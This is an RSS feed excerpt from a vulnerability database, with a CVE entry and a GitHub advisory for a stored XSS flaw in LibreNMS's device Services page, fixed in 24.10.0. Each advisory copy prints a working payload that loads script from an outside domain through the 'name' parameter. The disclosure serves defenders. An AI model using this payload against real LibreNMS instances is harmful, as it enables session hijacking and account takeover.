https://db.gcve.eu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Wed, 07 Oct 2026 07:48:51 +0000 https://db.gcve.eu/vuln/fkie_cve-2024-50352 <p>LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the &#34;Services&#34; section of the Device Overview page allows authenticated users to inject arbitrary JavaScript through the &#34;name&#34; parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users&#39; sessions, potentially compromising their accounts and enabling unauthorized actions. This vulnerability is fixed in 24.10.0.</p> <p>LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the &#34;Services&#34; section of the Device Overview page allows authenticated users to inject arbitrary JavaScript through the &#34;name&#34; parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users&#39; sessions, potentially compromising their accounts and enabling unauthorized actions. This vulnerability is fixed in 24.10.0.</p> https://db.gcve.eu/vuln/fkie_cve-2024-50352 https://db.gcve.eu/vuln/ghsa-qr8f-5qqg-j3wg <p><strong>Affected:</strong> Packagist: librenms/librenms</p> <p>### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the &#34;Services&#34; section of the Device Overview page allows authenticated users to inject arbitrary JavaScript through the &#34;name&#34; parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users&#39; sessions, potentially compromising their accounts and enabling unauthorized actions.</p> <p>### Details When creating a device through the &#34;edit device -&gt; services&#34; workflow (example path: &#34;/device/15/edit/section=services&#34;), the attacker can inject an XSS payload in the &#34;name&#34; parameter. This payload is then reflected in the &#34;Services&#34; section of the &#34;Overview&#34; page of the device. It is important to note that the vulnerability does not exist when creating devices through the normal &#34;Add Service&#34; interface (created through the ajax_form.php request with the &#34;type=create-service&#34;).</p> <p>The payload used to exploit this vulnerability is: ```Name&#39;&#34;&gt;&lt;script/src=//15.rs&gt;&lt;/script&gt;```</p> <p>Note: The payload uses the &#34;15.rs&#34; domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.</p> <p>The root cause is the application&#39;s failure to sanitize the &#34;name&#34; parameter before outputting it in the HTML. The sinks are as follows: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/overview/servic…</p> <p><strong>Affected:</strong> Packagist: librenms/librenms</p> <p>### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the &#34;Services&#34; section of the Device Overview page allows authenticated users to inject arbitrary JavaScript through the &#34;name&#34; parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users&#39; sessions, potentially compromising their accounts and enabling unauthorized actions.</p> <p>### Details When creating a device through the &#34;edit device -&gt; services&#34; workflow (example path: &#34;/device/15/edit/section=services&#34;), the attacker can inject an XSS payload in the &#34;name&#34; parameter. This payload is then reflected in the &#34;Services&#34; section of the &#34;Overview&#34; page of the device. It is important to note that the vulnerability does not exist when creating devices through the normal &#34;Add Service&#34; interface (created through the ajax_form.php request with the &#34;type=create-service&#34;).</p> <p>The payload used to exploit this vulnerability is: ```Name&#39;&#34;&gt;&lt;script/src=//15.rs&gt;&lt;/script&gt;```</p> <p>Note: The payload uses the &#34;15.rs&#34; domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.</p> <p>The root cause is the application&#39;s failure to sanitize the &#34;name&#34; parameter before outputting it in the HTML. The sinks are as follows: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/overview/servic…</p> https://db.gcve.eu/vuln/ghsa-qr8f-5qqg-j3wg